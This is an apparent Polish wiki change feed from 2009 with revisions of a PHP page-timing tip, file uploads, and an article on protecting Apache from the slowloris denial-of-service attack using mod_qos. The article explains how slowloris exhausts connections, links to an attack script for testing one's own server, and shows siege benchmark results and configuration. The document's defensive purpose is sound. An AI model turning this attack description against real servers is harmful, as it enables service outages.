		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_szara.png&amp;diff=359</id>
		<title>Plik:Blastboy Rybka szara.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_szara.png&amp;diff=359"/>
		<updated>2009-10-06T15:23:14Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Duplicate_layer.png&amp;diff=358</id>
		<title>Plik:Blastboy Duplicate layer.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Duplicate_layer.png&amp;diff=358"/>
		<updated>2009-10-06T15:22:11Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_poczatek.png&amp;diff=357</id>
		<title>Plik:Blastboy Rybka poczatek.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Blastboy_Rybka_poczatek.png&amp;diff=357"/>
		<updated>2009-10-06T15:21:29Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_wy%C5%9Bwietli%C4%87_czas_generowania_strony_PHP_%3F&amp;diff=347</id>
		<title>Jak wyświetlić czas generowania strony PHP ?</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_wy%C5%9Bwietli%C4%87_czas_generowania_strony_PHP_%3F&amp;diff=347"/>
		<updated>2009-10-05T13:22:39Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Najprostsza metoda to pobranie czasu w którym php rozpoczął generowanie dokumentu oraz zakończył i na podstawie tego obliczyć różnicę.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Na początku badanego skryptu pobieramy czas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$poczatkowy_czas=microtime(); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następnie na samym dole skryptu PHP pobieramy aktualny czas, odejmujemy początkowy i wyświetlamy różnicę.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
print(&amp;quot;Strona została wygenerowana w ciągu: &amp;quot;);&lt;br /&gt;
echo round(microtime()-$poczatkowy_czas, 3);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Czas zostanie zaokrąglony do wartości 3 miejsc po przecinku.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Przykładowy wynik:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Strona została wygenerowana w ciągu: 0.703&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_wy%C5%9Bwietli%C4%87_czas_generowania_strony_PHP_%3F&amp;diff=346</id>
		<title>Jak wyświetlić czas generowania strony PHP ?</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_wy%C5%9Bwietli%C4%87_czas_generowania_strony_PHP_%3F&amp;diff=346"/>
		<updated>2009-10-05T13:21:50Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Najprostsza metoda to pobranie czasu w którym php rozpoczął generowanie dokumentu oraz zakończył.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Na początku badanego skryptu pobieramy czas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$poczatkowy_czas=microtime(); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następnie na samym dole skryptu PHP pobieramy aktualny czas, odejmujemy początkowy i wyświetlamy różnicę.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
print(&amp;quot;Strona została wygenerowana w ciągu: &amp;quot;);&lt;br /&gt;
echo round(microtime()-$poczatkowy_czas, 3);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Czas zostanie zaokrąglony do wartości 3 miejsc po przecinku.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Przykładowy wynik:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Strona została wygenerowana w ciągu: 0.703&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:PHP]]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Jak_wy%C5%9Bwietli%C4%87_czas_generowania_strony_PHP_%3F&amp;diff=345</id>
		<title>Jak wyświetlić czas generowania strony PHP ?</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Jak_wy%C5%9Bwietli%C4%87_czas_generowania_strony_PHP_%3F&amp;diff=345"/>
		<updated>2009-10-05T13:20:26Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Najprostsza metoda to pobranie czasu w którym php rozpoczął generowanie dokumentu oraz zakończył.    Na początku badanego skryptu pobieramy czas:  &amp;lt;source lang=&amp;quot;p…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Najprostsza metoda to pobranie czasu w którym php rozpoczął generowanie dokumentu oraz zakończył.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Na początku badanego skryptu pobieramy czas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$poczatkowy_czas=microtime(); &lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następnie na samym dole skryptu PHP pobieramy aktualny czas, odejmujemy początkowy i wyświetlamy różnicę.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
print(&amp;quot;Strona została wygenerowana w ciągu: &amp;quot;);&lt;br /&gt;
echo round(microtime()-$poczatkowy_czas, 3);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Czas zostanie zaokrąglony do wartości 3 miejsc po przecinku.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Przykładowy wynik:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Strona została wygenerowana w ciągu: 0.703&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=HOLUX_M-1200_Bluetooth_GPS_Receiver_(odbiornik_GPS_bluetooth)&amp;diff=344</id>
		<title>HOLUX M-1200 Bluetooth GPS Receiver (odbiornik GPS bluetooth)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=HOLUX_M-1200_Bluetooth_GPS_Receiver_(odbiornik_GPS_bluetooth)&amp;diff=344"/>
		<updated>2009-10-05T13:11:59Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „    Pobierz instrukcję --&amp;gt; link=Plik:M-1200-Manual.pdf”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pobierz instrukcję --&amp;gt;&lt;br /&gt;
[[Plik:Pdflogo.jpeg|100px|link=Plik:M-1200-Manual.pdf]]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:M-1200-Manual.pdf&amp;diff=343</id>
		<title>Plik:M-1200-Manual.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:M-1200-Manual.pdf&amp;diff=343"/>
		<updated>2009-10-05T13:10:42Z</updated>

		<summary type="html">&lt;p&gt;Stare: Instrukcja
HOLUX M-1200 Bluetooth GPS Receiver (odbiornik GPS bluetooth)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Instrukcja&lt;br /&gt;
HOLUX M-1200 Bluetooth GPS Receiver (odbiornik GPS bluetooth)&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=342</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=342"/>
		<updated>2009-10-01T16:59:50Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
[[Plik:Server-status(apache).png|200px|thumb|right| Atak slowloris na zabezpieczony serwer]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache bez zabezpieczeń. ==&lt;br /&gt;
&lt;br /&gt;
Serwer nie podlegający atakowi bez zabezpieczeń 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   5756 hits&lt;br /&gt;
Availability:                  99.71 %&lt;br /&gt;
Elapsed time:                  59.69 secs&lt;br /&gt;
Data transferred:              45.79 MB&lt;br /&gt;
Response time:                  1.46 secs&lt;br /&gt;
Transaction rate:              96.43 trans/sec&lt;br /&gt;
Throughput:                     0.77 MB/sec&lt;br /&gt;
Concurrency:                  141.06&lt;br /&gt;
Successful transactions:        5755&lt;br /&gt;
Failed transactions:              17&lt;br /&gt;
Longest transaction:           29.90&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ten sam serwer, po kilkunastu minutach pracy skryptu slowloris.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      done.&lt;br /&gt;
Transactions:                      0 hits&lt;br /&gt;
Availability:                   0.00 %&lt;br /&gt;
Elapsed time:                  60.22 secs&lt;br /&gt;
Data transferred:               0.00 MB&lt;br /&gt;
Response time:                  0.00 secs&lt;br /&gt;
Transaction rate:               0.00 trans/sec&lt;br /&gt;
Throughput:                     0.00 MB/sec&lt;br /&gt;
Concurrency:                    0.00&lt;br /&gt;
Successful transactions:           0&lt;br /&gt;
Failed transactions:             304&lt;br /&gt;
Longest transaction:            0.00&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Całkowita odmowa świadczenia usług.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Instalacja modułu wraz z konfiguracją zaprezentowana na [http://howtoforge.com/how-to-defend-slowloris-ddos-with-mod_qos-apache2-on-debian-lenny  howtoforge]  (tłumaczenie) == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pobranie, oraz wypakowanie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /tmp/&lt;br /&gt;
wget http://sourceforge.net/projects/mod-qos/files/mod-qos/8.18/mod_qos-8.18-src.tar.gz/download&lt;br /&gt;
tar xvfz mod_qos-*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instalacja źródeł apache potrzebnych do kompilacji&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install apache2-threaded-dev gcc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompilacja oraz instalacja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd mod_qos-8.13/apache2/&lt;br /&gt;
apxs2 -i -c mod_qos.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguracja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /etc/apache2/mods-available/&lt;br /&gt;
nano qos.load&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano qos.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## QoS Settings&lt;br /&gt;
&amp;lt;IfModule mod_qos.c&amp;gt;&lt;br /&gt;
    # handles connections from up to 100000 different IPs&lt;br /&gt;
    QS_ClientEntries 100000&lt;br /&gt;
    # will allow only 50 connections per IP&lt;br /&gt;
    QS_SrvMaxConnPerIP 50&lt;br /&gt;
    # maximum number of active TCP connections is limited to 256&lt;br /&gt;
    MaxClients              256 &lt;br /&gt;
    # disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;
    QS_SrvMaxConnClose      180&lt;br /&gt;
    # minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):&lt;br /&gt;
    QS_SrvMinDataRate       150 1200&lt;br /&gt;
    # and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;
    # LimitRequestFields      30&lt;br /&gt;
    # QS_LimitRequestBody     102400&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uruchomienie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
a2enmod qos&lt;br /&gt;
/etc/init.d/apache2 restart&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Podgląd pracy można obserwować pod adresem&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://ip_serwera/server-status&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache z zabezpieczeniami (limity w qos). ==&lt;br /&gt;
&lt;br /&gt;
Serwer podlegający atakowi z zabezpieczeniami 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   9902 hits&lt;br /&gt;
Availability:                 100.00 %&lt;br /&gt;
Elapsed time:                  60.11 secs&lt;br /&gt;
Data transferred:              47.94 MB&lt;br /&gt;
Response time:                  0.29 secs&lt;br /&gt;
Transaction rate:             164.73 trans/sec&lt;br /&gt;
Throughput:                     0.80 MB/sec&lt;br /&gt;
Concurrency:                   47.74&lt;br /&gt;
Successful transactions:        5063&lt;br /&gt;
Failed transactions:               0&lt;br /&gt;
Longest transaction:           12.77&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Jeden użytkownik (w powyższej konfiguracji) może za alokować maksymalnie 50 połączeń z jednego adresu IP, lub sieci NAT dysponującej wspólnym  IP.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Server-status(apache).png&amp;diff=341</id>
		<title>Plik:Server-status(apache).png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Server-status(apache).png&amp;diff=341"/>
		<updated>2009-10-01T16:55:22Z</updated>

		<summary type="html">&lt;p&gt;Stare: server-status podczas ataku slowloris z zabezpieczeniami.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;server-status podczas ataku slowloris z zabezpieczeniami.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=340</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=340"/>
		<updated>2009-10-01T16:53:03Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache bez zabezpieczeń. ==&lt;br /&gt;
&lt;br /&gt;
Serwer nie podlegający atakowi bez zabezpieczeń 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   5756 hits&lt;br /&gt;
Availability:                  99.71 %&lt;br /&gt;
Elapsed time:                  59.69 secs&lt;br /&gt;
Data transferred:              45.79 MB&lt;br /&gt;
Response time:                  1.46 secs&lt;br /&gt;
Transaction rate:              96.43 trans/sec&lt;br /&gt;
Throughput:                     0.77 MB/sec&lt;br /&gt;
Concurrency:                  141.06&lt;br /&gt;
Successful transactions:        5755&lt;br /&gt;
Failed transactions:              17&lt;br /&gt;
Longest transaction:           29.90&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ten sam serwer, po kilkunastu minutach pracy skryptu slowloris.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      done.&lt;br /&gt;
Transactions:                      0 hits&lt;br /&gt;
Availability:                   0.00 %&lt;br /&gt;
Elapsed time:                  60.22 secs&lt;br /&gt;
Data transferred:               0.00 MB&lt;br /&gt;
Response time:                  0.00 secs&lt;br /&gt;
Transaction rate:               0.00 trans/sec&lt;br /&gt;
Throughput:                     0.00 MB/sec&lt;br /&gt;
Concurrency:                    0.00&lt;br /&gt;
Successful transactions:           0&lt;br /&gt;
Failed transactions:             304&lt;br /&gt;
Longest transaction:            0.00&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Całkowita odmowa świadczenia usług.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Instalacja modułu wraz z konfiguracją zaprezentowana na [http://howtoforge.com/how-to-defend-slowloris-ddos-with-mod_qos-apache2-on-debian-lenny  howtoforge]  (tłumaczenie) == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pobranie, oraz wypakowanie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /tmp/&lt;br /&gt;
wget http://sourceforge.net/projects/mod-qos/files/mod-qos/8.18/mod_qos-8.18-src.tar.gz/download&lt;br /&gt;
tar xvfz mod_qos-*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instalacja źródeł apache potrzebnych do kompilacji&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install apache2-threaded-dev gcc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompilacja oraz instalacja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd mod_qos-8.13/apache2/&lt;br /&gt;
apxs2 -i -c mod_qos.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguracja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /etc/apache2/mods-available/&lt;br /&gt;
nano qos.load&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano qos.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## QoS Settings&lt;br /&gt;
&amp;lt;IfModule mod_qos.c&amp;gt;&lt;br /&gt;
    # handles connections from up to 100000 different IPs&lt;br /&gt;
    QS_ClientEntries 100000&lt;br /&gt;
    # will allow only 50 connections per IP&lt;br /&gt;
    QS_SrvMaxConnPerIP 50&lt;br /&gt;
    # maximum number of active TCP connections is limited to 256&lt;br /&gt;
    MaxClients              256 &lt;br /&gt;
    # disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;
    QS_SrvMaxConnClose      180&lt;br /&gt;
    # minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):&lt;br /&gt;
    QS_SrvMinDataRate       150 1200&lt;br /&gt;
    # and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;
    # LimitRequestFields      30&lt;br /&gt;
    # QS_LimitRequestBody     102400&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uruchomienie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
a2enmod qos&lt;br /&gt;
/etc/init.d/apache2 restart&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Podgląd pracy można obserwować pod adresem&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://ip_serwera/server-status&lt;br /&gt;
